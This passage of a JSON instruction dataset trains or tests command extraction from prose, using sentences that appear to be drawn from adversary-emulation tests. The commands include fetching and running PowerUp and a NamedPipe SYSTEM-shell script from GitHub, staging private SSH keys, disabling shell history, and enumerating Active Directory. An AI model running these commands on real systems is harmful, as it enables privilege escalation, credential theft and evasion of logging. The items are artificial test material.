https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate organizational units within Active Directory using ADSISearcher, run this command: \n(([adsisearcher]\\'(objectcategory=organizationalunit)\\').FindAll()).Path | %{if(([ADSI]\"$_\").gPlink){Write-Host \"[+] OU Path:\"([ADSI]\"$_\").Path;$a=((([ADSI]\"$_\").gplink) -replace \"[[;]\" -split \"]\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \"Policy Path[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \"Policy Name[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \"`n\" }}\n. Successful execution will display user listings with their AD paths.",
    "output": "{\"command_list\": [\"(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]\\\"$_\\\").gPlink){Write-Host \\\"[+] OU Path:\\\"([ADSI]\\\"$_\\\").Path;$a=((([ADSI]\\\"$_\\\").gplink) -replace \\\"[[;]\\\" -split \\\"]\\\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \\\"Policy Path[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \\\"Policy Name[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \\\"`n\\\" }}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy private SSH keys to a staging folder on Linux or macOS, use the following command: \nmkdir #{output_folder}\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\;\nexit 0\n",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \\\\;\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For inter-process communication, the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable can be utilized with this command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 5",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 5\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves checking the HISTSIZE environment variable, setting it to zero, and verifying the change without logging out. Execute the command sequence: echo $HISTSIZE\nexport HISTSIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \"\\$HISTSIZE is zero\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \"\\$HISTSIZE is not zero, history size is $HIST_LENGTH\";  fi",
    "output": "{\"command_list\": [\"echo $HISTSIZE\\nexport HISTSIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \\\"\\\\$HISTSIZE is zero\\\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \\\"\\\\$HISTSIZE is not zero, history size is $HIST_LENGTH\\\";  fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create process ancestry anomalies, you can run the console host interface by using the following command: conhost.exe \"#{process}\"",
    "output": "{\"command_list\": [\"conhost.exe \\\"#{process}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The NamedPipe Impersonation technique from WinPwn can be employed to get a SYSTEM shell with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command creates a test file that mimics how OSTap spreads across network shares and drives: pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd",
    "output": "{\"command_list\": [\"pushd #{destination_path}\\necho var fileObject = WScript.createobject(\\\"Scripting.FileSystemObject\\\");var newfile = fileObject.CreateTextFile(\\\"AtomicTestFileT1105.js\\\", true);newfile.WriteLine(\\\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\\\");newfile.Close(); > AtomicTestT1105.js\\nCScript.exe AtomicTestT1105.js //E:JScript\\ndel AtomicTestT1105.js /Q >nul 2>&1\\ndel AtomicTestFileT1105.js /Q >nul 2>&1\\npopd\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script marks a file as hidden with the command: $file = Get-Item $env:temp\\T1564.001-9.txt -Force\n$file.attributes='Hidden'\n. You can confirm the hidden status by viewing hidden items in File Explorer and inspecting the file's attributes in its properties.",
    "output": "{\"command_list\": [\"$file = Get-Item $env:temp\\\\T1564.001-9.txt -Force\\n$file.attributes='Hidden'\\n\"]}"
  },
  {
